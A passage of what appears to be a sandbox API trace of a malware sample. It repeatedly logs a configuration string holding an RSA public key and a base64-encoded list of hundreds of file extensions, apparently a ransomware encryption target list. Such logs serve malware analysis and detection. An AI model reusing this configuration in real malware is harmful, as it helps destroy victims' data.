ZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsI